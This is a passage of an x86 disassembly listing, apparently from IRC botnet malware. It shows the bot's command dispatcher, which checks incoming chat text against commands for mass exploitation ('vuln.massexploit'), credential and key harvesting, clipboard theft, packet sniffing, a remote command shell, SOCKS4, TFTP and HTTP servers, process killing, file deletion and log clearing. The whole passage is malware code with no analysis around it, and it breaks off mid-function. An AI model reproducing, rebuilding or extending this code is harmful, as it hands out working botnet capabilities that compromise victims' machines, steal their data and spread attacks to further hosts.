imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_40D907
loc_40D8F1: ; CODE XREF: sub_40CE55+AB0j
cmp [ebp+var_568], ebx
jnz loc_40D7F9
push 32h
call dword_421060 ; Sleep
jmp short loc_40D8F1
; ---------------------------------------------------------------------------
loc_40D907: ; CODE XREF: sub_40CE55+A9Aj
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_436294
jmp short loc_40D92F
; ---------------------------------------------------------------------------
loc_40D915: ; CODE XREF: sub_40CE55+9DDj
lea eax, [ebp+var_C4]
push eax
push offset dword_436250
jmp short loc_40D92F
; ---------------------------------------------------------------------------
loc_40D923: ; CODE XREF: sub_40CE55+9CDj
lea eax, [ebp+var_C4]
push eax
push offset dword_43620C
loc_40D92F: ; CODE XREF: sub_40CE55+97Dj
; sub_40CE55+ABEj ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
jmp loc_40D7F9
; ---------------------------------------------------------------------------
loc_40D943: ; CODE XREF: sub_40CE55+6D8j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_42C19C
mov [edi], ecx
jnz loc_40D219
loc_40D959: ; CODE XREF: sub_40CE55+9C1j
mov edi, [edi]
push edi
push offset aNewshit ; "newshit"
mov [ebp+arg_8], edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412996
push edi
push offset aHi_0 ; "hi"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412996
cmp [ebp+var_98], ebx
jnz short loc_40D9AA
push [ebp+var_90]
push offset dword_43646C
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_41298E
loc_40D9AA: ; CODE XREF: sub_40CE55+B39j
cmp [ebp+arg_28], ebx
jnz loc_41298E
xor edi, edi
cmp dword_42E7A4, ebx
jle loc_40DB56
mov [ebp+arg_20], offset dword_43E7A8
loc_40D9C8: ; CODE XREF: sub_40CE55+B92j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40D9EE
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_42E7A4
jl short loc_40D9C8
jmp loc_40DB56
; ---------------------------------------------------------------------------
loc_40D9EE: ; CODE XREF: sub_40CE55+B82j
push offset asc_436588 ; " :"
push [ebp+arg_0]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40D219
mov cl, byte_42C19C
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_42C19C
mov [eax+3], cl
lea ecx, dword_43E7C0[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_416D40
lea eax, [ebp+esi+var_54]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_40DA43: ; CODE XREF: sub_40CE55+C96j
push [ebp+arg_20]
lea eax, [ebp+var_A4]
push offset aD_1 ; "$%d-"
push eax
call sub_4154E7
lea eax, [ebp+var_A4]
push eax
push [ebp+arg_0]
call sub_415AC0
add esp, 14h
test eax, eax
jz short loc_40DAAF
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_40DAAF
lea eax, dword_43E7A8[edi]
push eax
call sub_415CF0
add [ebp+var_C], eax
pop ecx
jz short loc_40DAE1
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40DAE1
push eax
lea eax, [ebp+var_A4]
push eax
push [ebp+arg_0]
call sub_4099AA
add esp, 0Ch
jmp short loc_40DAE1
; ---------------------------------------------------------------------------
loc_40DAAF: ; CODE XREF: sub_40CE55+C16j
; sub_40CE55+C1Dj
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_40DAE1
lea eax, [ebp+var_A4]
push 2
push eax
lea eax, [ebp+var_14]
push eax
call sub_416D40
lea eax, [ebp+var_14]
mov [ebp+var_12], bl
push eax
lea eax, [ebp+var_A4]
push eax
push [ebp+arg_0]
call sub_4099AA
add esp, 18h
loc_40DAE1: ; CODE XREF: sub_40CE55+C2Fj
; sub_40CE55+C43j ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_40DA43
lea eax, [ebp+esi+var_54]
mov [ebp+arg_20], 10h
mov edi, eax
loc_40DAFE: ; CODE XREF: sub_40CE55+CF5j
push [ebp+arg_20]
lea eax, [ebp+var_A4]
push offset aD_0 ; "$%d"
push eax
call sub_4154E7
lea eax, [ebp+var_A4]
push eax
push [ebp+arg_0]
call sub_415AC0
add esp, 14h
test eax, eax
jz short loc_40DB41
mov eax, [edi]
cmp eax, ebx
jz short loc_40DB41
push eax
lea eax, [ebp+var_A4]
push eax
push [ebp+arg_0]
call sub_4099AA
add esp, 0Ch
loc_40DB41: ; CODE XREF: sub_40CE55+CD1j
; sub_40CE55+CD7j
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_40DAFE
mov [ebp+var_C8], 1
loc_40DB56: ; CODE XREF: sub_40CE55+B66j
; sub_40CE55+B94j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_42C19C
jz short loc_40DB6F
cmp [ebp+var_C8], ebx
jz loc_40DD54
loc_40DB6F: ; CODE XREF: sub_40CE55+D0Cj
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe_0 ; "$me"
push edi
call sub_4099AA
lea eax, [ebp+var_C4]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_4099AA
push [ebp+var_8C]
push offset aChan ; "$chan"
push edi
call sub_4099AA
push ebx
push ebx
lea eax, [ebp+var_A4]
push 2
push eax
call sub_414433
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_4099AA
add esp, 40h
push [ebp+arg_14]
push offset aServer_2 ; "$server"
push edi
call sub_4099AA
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_415AC0
add esp, 14h
loc_40DBE1: ; CODE XREF: sub_40CE55+E78j
test eax, eax
jz loc_40DCD2
push edi
push [ebp+arg_0]
call sub_415AC0
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A4]
push eax
call sub_416D40
lea eax, [ebp+var_A4]
push offset asc_4361C0 ; ")"
push eax
call sub_416C98
add esp, 1Ch
cmp [ebp+var_A4], 30h
jl short loc_40DC2D
cmp [ebp+var_A4], 39h
jle short loc_40DC43
loc_40DC2D: ; CODE XREF: sub_40CE55+DCDj
push 3
lea eax, [ebp+var_A4]
push offset a63 ; "63"
push eax
call sub_416D40
add esp, 0Ch
loc_40DC43: ; CODE XREF: sub_40CE55+DD6j
lea eax, [ebp+var_A4]
push eax
call sub_415A5F
test eax, eax
pop ecx
jle short loc_40DC66
lea eax, [ebp+var_A4]
push eax
call sub_415A5F
pop ecx
mov [ebp+var_14], al
jmp short loc_40DC77
; ---------------------------------------------------------------------------
loc_40DC66: ; CODE XREF: sub_40CE55+DFDj
call sub_415543
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_14], dl
loc_40DC77: ; CODE XREF: sub_40CE55+E0Fj
lea eax, [ebp+var_A4]
mov [ebp+var_13], bl
push eax
call sub_415CF0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A4]
push ebx
push eax
call sub_415570
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A4]
push [ebp+arg_10]
push eax
call sub_416D40
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_A4]
push eax
push [ebp+arg_0]
call sub_4099AA
push edi
push [ebp+arg_0]
call sub_415AC0
add esp, 30h
jmp loc_40DBE1
; ---------------------------------------------------------------------------
loc_40DCD2: ; CODE XREF: sub_40CE55+D8Ej
mov edi, 1FFh
lea eax, [ebp+var_F9C]
push edi
push [ebp+arg_0]
push eax
call sub_416D40
lea eax, [ebp+var_F9C]
push edi
push eax
lea eax, [ebp+var_119C]
push eax
call sub_416D40
lea eax, [ebp+var_119C]
push offset asc_426A00 ; " "
push eax
call sub_416C98
add esp, 20h
mov [ebp+var_94], eax
lea edi, [ebp+var_90]
mov [ebp+arg_10], 1Fh
loc_40DD22: ; CODE XREF: sub_40CE55+EE2j
push offset asc_426A00 ; " "
push ebx
call sub_416C98
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40DD22
mov ecx, [ebp+esi+var_94]
lea eax, [ebp+esi+var_94]
cmp ecx, ebx
jz loc_40D219
add ecx, 3
mov [eax], ecx
loc_40DD54: ; CODE XREF: sub_40CE55+D14j
mov edi, [ebp+esi+var_94]
push edi
push offset aEnz_rndnick ; "enz.rndnick"
mov [ebp+arg_8], edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412941
push edi
push offset aEnz_rn ; "enz.rn"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412941
push edi
push offset aEnz_endsess ; "enz.endsess"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41291F
push edi
push offset aEnz_d ; "enz.d"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41291F
push edi
push offset aEnz_logout ; "enz.logout"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41287D
push edi
push offset aEnz_lo ; "enz.lo"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41287D
push edi
push offset aEnz_version ; "enz.version"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41285F
push edi
push offset aEnz_ver ; "enz.ver"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41285F
push edi
push offset aLockdown_on ; "lockdown.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41274A
push edi
push offset aLd_on ; "ld.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41274A
push edi
push offset aLockdown_off ; "lockdown.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41274A
push edi
push offset aLd_off ; "ld.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41274A
push edi
push offset aServer_socks4_ ; "server.socks4.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412628
push edi
push offset aServer_s4_on ; "server.s4.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412628
push edi
push offset aServer_socks_0 ; "server.socks4.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DEC4
push [ebp+esi+var_90]
push 11h
push offset aServer ; "Server"
push offset dword_4360F0
loc_40DEA8: ; CODE XREF: sub_40CE55+1093j
; sub_40CE55+10B9j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_415221
add esp, 20h
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_40DEC4: ; CODE XREF: sub_40CE55+103Ej
push edi
push offset aServer_rlogin_ ; "server.rlogin.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DEEA
push [ebp+esi+var_90]
push 6
push offset aServer ; "Server"
push offset dword_4360CC
jmp short loc_40DEA8
; ---------------------------------------------------------------------------
loc_40DEEA: ; CODE XREF: sub_40CE55+107Ej
push edi
push offset dword_4360BC
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF10
push [ebp+esi+var_90]
push 3
push offset aServer ; "Server"
push offset dword_4360B0
jmp short loc_40DEA8
; ---------------------------------------------------------------------------
loc_40DF10: ; CODE XREF: sub_40CE55+10A4j
push edi
push offset dword_4360A8
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF39
push [ebp+esi+var_90]
push 1Ch
push offset dword_43609C
push offset dword_436090
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40DF39: ; CODE XREF: sub_40CE55+10CAj
push edi
push offset aServer_redirec ; "server.redirect.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF62
push [ebp+esi+var_90]
push 10h
push offset dword_43606C
push offset dword_43605C
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40DF62: ; CODE XREF: sub_40CE55+10F3j
push edi
push offset dword_436050
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF8B
push [ebp+esi+var_90]
push 0Ah
push offset dword_436044
push offset dword_436038
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40DF8B: ; CODE XREF: sub_40CE55+111Cj
push edi
push offset dword_436028
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DFB4
push [ebp+esi+var_90]
push 0Bh
push offset dword_43601C
push offset dword_436010
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40DFB4: ; CODE XREF: sub_40CE55+1145j
push edi
push offset dword_436000
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40DFDD
push [ebp+esi+var_90]
push 0Fh
push offset dword_435FF4
push offset dword_435FE8
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40DFDD: ; CODE XREF: sub_40CE55+116Ej
push edi
push offset dword_435FD8
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E006
push [ebp+esi+var_90]
push 0Eh
push offset dword_435FCC
push offset dword_435FC0
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40E006: ; CODE XREF: sub_40CE55+1197j
push edi
push offset aServer_tftp_of ; "server.tftp.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E02F
push [ebp+esi+var_90]
push 4
push offset aServer ; "Server"
push offset dword_435FA4
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40E02F: ; CODE XREF: sub_40CE55+11C0j
push edi
push offset aBox_findfile_o ; "box.findfile.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412610
push edi
push offset aBox_ff_off ; "box.ff.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412610
push edi
push offset aBox_procs_off ; "box.procs.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4125F8
push edi
push offset aBox_ps_off ; "box.ps.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4125F8
push edi
push offset aClone_off ; "clone.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E0AC
push [ebp+esi+var_90]
push 17h
push offset aClone ; "Clone"
push offset dword_435F44
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40E0AC: ; CODE XREF: sub_40CE55+123Dj
push edi
push offset aLockdown_stop ; "lockdown.stop"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E0D5
push [ebp+esi+var_90]
push 19h
push offset aSecure_0 ; "Secure"
push offset dword_435F1C
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40E0D5: ; CODE XREF: sub_40CE55+1266j
push edi
push offset aVuln_stop ; "vuln.stop"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E0FE
push [ebp+esi+var_90]
push 8
push offset aScan ; "Scan"
push offset aExploitation ; "Exploitation"
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40E0FE: ; CODE XREF: sub_40CE55+128Fj
push edi
push offset aVuln_stats ; "vuln.stats"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4125E2
push edi
push offset aVuln_st ; "vuln.st"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4125E2
push edi
push offset aEnz_reh4sh ; "enz.reh4sh"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4125C1
push edi
push offset aEnz_rh4 ; "enz.rh4"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4125C1
push edi
push offset aEnz_endt3rm ; "enz.endt3rm"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41259F
push edi
push offset aEnz_et3 ; "enz.et3"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41259F
push edi
push offset aEnz_t3rm1nate ; "enz.t3rm1nate"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412557
push edi
push offset aEnz_t3rm1 ; "enz.t3rm1"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412557
push edi
push offset aEnz_status ; "enz.status"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412519
push edi
push offset aEnz_s ; "enz.s"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412519
push edi
push offset aEnz_id ; "enz.id"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4124E2
push edi
push offset aEnz_i ; "enz.i"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4124E2
push edi
push offset aBox_rebewt ; "box.rebewt"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E24C
call sub_409DF3
test eax, eax
mov eax, offset dword_435E40
jnz short loc_40E21E
mov eax, offset dword_435E08
loc_40E21E: ; CODE XREF: sub_40CE55+13C2j
push eax
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 1Ch
jmp loc_40D7F9
; ---------------------------------------------------------------------------
loc_40E24C: ; CODE XREF: sub_40CE55+13B4j
push edi
push offset aThreads_list ; "threads.list"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4123F1
push edi
push offset aThreads_l ; "threads.l"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4123F1
push edi
push offset aEnz_aliases ; "enz.aliases"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4123D1
push edi
push offset aEnz_al ; "enz.al"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4123D1
push edi
push offset aEnz_log ; "enz.log"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4122E1
push edi
push offset aEnz_lg ; "enz.lg"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4122E1
push edi
push offset aUtil_clearlog ; "util.clearlog"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4122C8
push edi
push offset aUtil_clg ; "util.clg"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4122C8
push edi
push offset aBox_netinfo ; "box.netinfo"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412291
push edi
push offset aBox_ni ; "box.ni"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412291
push edi
push offset aBox_sysinfo ; "box.sysinfo"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412266
push edi
push offset aBox_si ; "box.si"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412266
push edi
push offset aEnz_beg0ne ; "enz.beg0ne"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41222C
push edi
push offset aEnz_b3g ; "enz.b3g"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41222C
push edi
push offset aBox_procs ; "box.procs"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412123
push edi
push offset aBox_ps ; "box.ps"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412123
push edi
push offset aBox_harvest ; "box.harvest"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4120F9
push edi
push offset aBox_key ; "box.key"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4120F9
push edi
push offset aBox_uptime ; "box.uptime"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412075
push edi
push offset aBox_up ; "box.up"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412075
push edi
push offset aBox_driveinfo ; "box.driveinfo"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412058
push edi
push offset aBox_drv ; "box.drv"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_412058
push edi
push offset aBox_testdlls ; "box.testdlls"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41203F
push edi
push offset aBox_dll ; "box.dll"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41203F
push edi
push offset aBox_opencmd ; "box.opencmd"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411FF8
push edi
push offset aBox_ocmd ; "box.ocmd"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411FF8
push edi
push offset aBox_ocmd_off ; "box.ocmd.off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E497
push [ebp+esi+var_90]
push 7
push offset aRemoteShell ; "Remote shell"
push offset aCmd ; "[CMD]"
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_40E497: ; CODE XREF: sub_40CE55+1628j
push edi
push offset aEnz_who ; "enz.who"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40E524
cmp [ebp+var_8], ebx
jnz short loc_40E4C7
push ebx
push [ebp+var_4]
push offset aLoginList ; "-[Login List]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_40E4C7: ; CODE XREF: sub_40CE55+1656j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40E4CC: ; CODE XREF: sub_40CE55+16BDj
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_40E4D8
mov eax, offset aEmpty ; "<Empty>"
loc_40E4D8: ; CODE XREF: sub_40CE55+167Cj
push eax
push esi
lea eax, [ebp+var_2C8]
push offset aD_S ; "%d. %s"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40E4CC
push offset dword_435C68
loc_40E519: ; CODE XREF: sub_40CE55+5688j
call sub_40B16D
pop ecx
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_40E524: ; CODE XREF: sub_40CE55+1651j
push edi
push offset aBox_getclip ; "box.getclip"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411FB7
push edi
push offset aBox_gc ; "box.gc"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411FB7
push edi
push offset aUtil_flusharp ; "util.flusharp"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411F8C
push edi
push offset aUtil_farp ; "util.farp"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411F8C
push edi
push offset aUtil_flushdns ; "util.flushdns"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411F68
push edi
push offset aUtil_fdns ; "util.fdns"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411F68
push edi
push offset aVuln_currentip ; "vuln.currentip"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411F2B
push edi
push offset aVuln_cip ; "vuln.cip"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411F2B
push edi
push offset aServer_httpd_o ; "server.httpd.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411D91
push edi
push offset aServer_web_on ; "server.web.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411D91
push edi
push offset aServer_tftp_on ; "server.tftp.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411C53
push edi
push offset aServer_tf_on ; "server.tf.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411C53
push edi
push offset aVuln_massexplo ; "vuln.massexploit"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411958
push edi
push offset aVall ; "vall"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411958
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz loc_40D219
push [ebp+arg_8]
push offset aEnz_nick ; "enz.nick"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41193F
push [ebp+arg_8]
push offset aEnz_n ; "enz.n"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41193F
push [ebp+arg_8]
push offset aEnz_join ; "enz.join"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41191F
push [ebp+arg_8]
push offset aEnz_j ; "enz.j"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41191F
push [ebp+arg_8]
push offset aEnz_part ; "enz.part"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411906
push [ebp+arg_8]
push offset aEnz_pt ; "enz.pt"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411906
push [ebp+arg_8]
push offset aEnz_raw ; "enz.raw"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4118CF
push [ebp+arg_8]
push offset aEnz_r ; "enz.r"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4118CF
push [ebp+arg_8]
push offset aThreads_kill ; "threads.kill"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41180C
push [ebp+arg_8]
push offset aThreads_k ; "threads.k"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41180C
push [ebp+arg_8]
push offset aClone_quit ; "clone.quit"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411761
push [ebp+arg_8]
push offset aClone_q ; "clone.q"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411761
push [ebp+arg_8]
push offset aClone_rndnick ; "clone.rndnick"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411716
push [ebp+arg_8]
push offset aClone_rn ; "clone.rn"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411716
push [ebp+arg_8]
push offset aEnz_prefix ; "enz.prefix"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411701
push [ebp+arg_8]
push offset aEnz_pr ; "enz.pr"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411701
push [ebp+arg_8]
push offset aBox_open ; "box.open"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4116D7
push [ebp+arg_8]
push offset aBox_o ; "box.o"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4116D7
push [ebp+arg_8]
push offset aEnz_setserve ; "enz.setserve"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4116B2
push [ebp+arg_8]
push offset aEnz_se ; "enz.se"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4116B2
push [ebp+arg_8]
push offset aEnz_dns ; "enz.dns"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411650
push [ebp+arg_8]
push offset aEnz_dn ; "enz.dn"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411650
push [ebp+arg_8]
push offset aBox_killprocna ; "box.killprocname"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411624
push [ebp+arg_8]
push offset aBox_kpn ; "box.kpn"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411624
push [ebp+arg_8]
push offset aBox_prockillid ; "box.prockillid"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4115C9
push [ebp+arg_8]
push offset aBox_pkid ; "box.pkid"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4115C9
push [ebp+arg_8]
push offset aBox_delete ; "box.delete"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411592
push [ebp+arg_8]
push offset aBox_del ; "box.del"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411592
push [ebp+arg_8]
push offset aDcc_get ; "dcc.get"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4114B1
push [ebp+arg_8]
push offset aDcc_gt ; "dcc.gt"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4114B1
push [ebp+arg_8]
push offset aBox_filelist ; "box.filelist"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411496
push [ebp+arg_8]
push offset aBox_fl ; "box.fl"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411496
push [ebp+arg_8]
push offset aEnz_visit ; "enz.visit"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4113B8
push [ebp+arg_8]
push offset aEnz_v ; "enz.v"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4113B8
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41137D
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41137D
push [ebp+arg_8]
push offset aBox_cmd ; "box.cmd"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411332
push [ebp+arg_8]
push offset aBox_cm ; "box.cm"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411332
push [ebp+arg_8]
push offset aBox_readfile ; "box.readfile"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4112AD
push [ebp+arg_8]
push offset aBox_rf ; "box.rf"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4112AD
push [ebp+arg_8]
push offset aSniff ; "sniff"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40EB3B
push edi
push offset aOn ; "on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40EB06
push 18h
call sub_4151DB
test eax, eax
pop ecx
jle short loc_40EA33
push offset unk_4359C0
jmp loc_40EBA7
; ---------------------------------------------------------------------------
loc_40EA33: ; CODE XREF: sub_40CE55+1BD2j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_4DC], eax
mov eax, [ebp+var_4]
mov [ebp+var_454], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_450], eax
jnz short loc_40EA75
mov esi, offset dword_42C24C
push offset byte_438FBC
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EA75
mov esi, [ebp+var_8C]
